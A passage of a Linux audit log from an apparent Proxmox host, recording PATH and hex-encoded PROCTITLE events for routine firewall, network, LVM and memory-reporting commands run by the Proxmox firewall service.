cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525230,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.230:61390): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965925962,"@rawstring":"node=pve type=PATH msg=audit(1781965925.962:67681): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525229,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.229:61389): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965925953,"@rawstring":"node=pve type=PATH msg=audit(1781965925.953:67680): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525229,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.229:61388): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965925953,"@rawstring":"node=pve type=PATH msg=audit(1781965925.953:67680): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525225,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.225:61387): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965925943,"@rawstring":"node=pve type=PATH msg=audit(1781965925.943:67679): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525218,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.218:61386): proctitle=\"ip6tables-save\""} {"@timestamp":1781965925943,"@rawstring":"node=pve type=PATH msg=audit(1781965925.943:67679): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525213,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.213:61385): proctitle=\"iptables-save\""} {"@timestamp":1781965924787,"@rawstring":"node=pve type=PATH msg=audit(1781965924.787:67678): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525208,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.208:61384): proctitle=69707365740073617665"} {"@timestamp":1781965924787,"@rawstring":"node=pve type=PATH msg=audit(1781965924.787:67678): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525200,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.200:61383): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965924787,"@rawstring":"node=pve type=PATH msg=audit(1781965924.787:67677): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525194,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.194:61382): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965924787,"@rawstring":"node=pve type=PATH msg=audit(1781965924.787:67676): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964524698,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964524.698:61381): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965924777,"@rawstring":"node=pve type=PATH msg=audit(1781965924.777:67675): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964524698,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964524.698:61380): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965924777,"@rawstring":"node=pve type=PATH msg=audit(1781965924.777:67675): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964524698,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964524.698:61379): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965924777,"@rawstring":"node=pve type=PATH msg=audit(1781965924.777:67674): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964524692,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964524.692:61378): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965924777,"@rawstring":"node=pve type=PATH msg=audit(1781965924.777:67673): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964524692,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964524.692:61377): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965924207,"@rawstring":"node=pve type=PATH msg=audit(1781965924.207:67672): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964524692,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964524.692:61376): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965924207,"@rawstring":"node=pve type=PATH msg=audit(1781965924.207:67672): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964524114,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964524.114:61375): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965924177,"@rawstring":"node=pve type=PATH msg=audit(1781965924.177:67671): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964524088,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964524.088:61374): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965924177,"@rawstring":"node=pve type=PATH msg=audit(1781965924.177:67671): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519762,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964519.762:61373): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965919764,"@rawstring":"node=pve type=PATH msg=audit(1781965919.764:67670): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519761,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964519.761:61372): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965919764,"@rawstring":"node=pve type=PATH msg=audit(1781965919.764:67670): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519760,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964519.760:61371): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965919764,"@rawstring":"node=pve type=PATH msg=audit(1781965919.764:67669): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519681,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964519.681:61370): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965919764,"@rawstring":"node=pve type=PATH msg=audit(1781965919.764:67668): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519681,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964519.681:61369): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965919756,"@rawstring":"node=pve type=PATH msg=audit(1781965919.756:67667): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519681,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964519.681:61368): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965919756,"@rawstring":"node=pve type=PATH msg=audit(1781965919.756:67667): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519675,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964519.675:61367): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965919756,"@rawstring":"node=pve type=PATH msg=audit(1781965919.756:67666): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519675,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964519.675:61366): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965919756,"@rawstring":"node=pve type=PATH msg=audit(1781965919.756:67665): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964519675,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964519.675:61365): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965915926,"@rawstring":"node=pve type=PATH msg=audit(1781965915.926:67664): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515183,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.183:61364): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965915926,"@rawstring":"node=pve type=PATH msg=audit(1781965915.926:67664): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515180,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.180:61363): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965915922,"@rawstring":"node=pve type=PATH msg=audit(1781965915.922:67663): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515178,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.178:61362): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965915922,"@rawstring":"node=pve type=PATH msg=audit(1781965915.922:67663): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515178,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.178:61361): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965915921,"@rawstring":"node=pve type=PATH msg=audit(1781965915.921:67662): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515175,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.175:61360): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965915921,"@rawstring":"node=pve type=PATH msg=audit(1781965915.921:67662): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515169,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.169:61359): proctitle=\"ip6tables-save\""} {"@timestamp":1781965915921,"@rawstring":"node=pve type=PATH msg=audit(1781965915.921:67661): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515162,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.162:61358): proctitle=\"iptables-save\""} {"@timestamp":1781965915916,"@rawstring":"node=pve type=PATH msg=audit(1781965915.916:67660): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515156,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.156:61357): proctitle=\"ip6tables-save\""} {"@timestamp":1781965915916,"@rawstring":"node=pve type=PATH msg=audit(1781965915.916:67660): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515149,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.149:61356): proctitle=\"iptables-save\""} {"@timestamp":1781965915916,"@rawstring":"node=pve type=PATH msg=audit(1781965915.916:67660): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515146,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.146:61355): proctitle=\"ebtables-restore\""} {"@timestamp":1781965915909,"@rawstring":"node=pve type=PATH msg=audit(1781965915.909:67659): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515144,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.144:61354): proctitle=\"ebtables-restore\""} {"@timestamp":1781965915909,"@rawstring":"node=pve type=PATH msg=audit(1781965915.909:67659): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515139,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.139:61353): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965915903,"@rawstring":"node=pve type=PATH msg=audit(1781965915.903:67658): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515134,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.134:61352): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965915903,"@rawstring":"node=pve type=PATH msg=audit(1781965915.903:67658): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515129,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.129:61351): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965915895,"@rawstring":"node=pve type=PATH msg=audit(1781965915.895:67657): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515124,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.124:61350): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965915895,"@rawstring":"node=pve type=PATH msg=audit(1781965915.895:67657): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515119,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.119:61349): proctitle=697073657400726573746F7265"} {"@timestamp":1781965915886,"@rawstring":"node=pve type=PATH msg=audit(1781965915.886:67656): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515113,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.113:61348): proctitle=\"ip6tables-save\""} {"@timestamp":1781965915886,"@rawstring":"node=pve type=PATH msg=audit(1781965915.886:67656): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515108,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.108:61347): proctitle=\"iptables-save\""} {"@timestamp":1781965915879,"@rawstring":"node=pve type=PATH msg=audit(1781965915.879:67654): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515104,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.104:61346): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965915879,"@rawstring":"node=pve type=PATH msg=audit(1781965915.879:67654): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515101,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.101:61345): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965915873,"@rawstring":"node=pve type=PATH msg=audit(1781965915.873:67653): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515100,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.100:61344): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965915873,"@rawstring":"node=pve type=PATH msg=audit(1781965915.873:67653): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515100,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.100:61343): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965915867,"@rawstring":"node=pve type=PATH msg=audit(1781965915.867:67652): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515096,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.096:61342): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965915867,"@rawstring":"node=pve type=PATH msg=audit(1781965915.867:67652): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515090,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.090:61341): proctitle=\"ip6tables-save\""} {"@timestamp":1781965915859,"@rawstring":"node=pve type=PATH msg=audit(1781965915.859:67651): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515083,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.083:61340): proctitle=\"iptables-save\""} {"@timestamp":1781965915859,"@rawstring":"node=pve type=PATH msg=audit(1781965915.859:67651): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515078,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.078:61339): proctitle=69707365740073617665"} {"@timestamp":1781965915852,"@rawstring":"node=pve type=PATH msg=audit(1781965915.852:67650): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515072,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.072:61338): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965915852,"@rawstring":"node=pve type=PATH msg=audit(1781965915.852:67650): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515064,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.064:61337): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965915845,"@rawstring":"node=pve type=PATH msg=audit(1781965915.845:67649): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964515024,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964515.024:61336): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965915845,"@rawstring":"node=pve type=PATH msg=audit(1781965915.845:67649): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964514992,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964514.992:61335): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965915838,"@rawstring":"node=pve type=PATH msg=audit(1781965915.838:67648): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964514663,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964514.663:61334): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965915838,"@rawstring":"node=pve type=PATH msg=audit(1781965915.838:67648): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964514663,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964514.663:61333): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965915830,"@rawstring":"node=pve type=PATH msg=audit(1781965915.830:67647): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964514663,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964514.663:61332): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965915830,"@rawstring":"node=pve type=PATH msg=audit(1781965915.830:67647): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 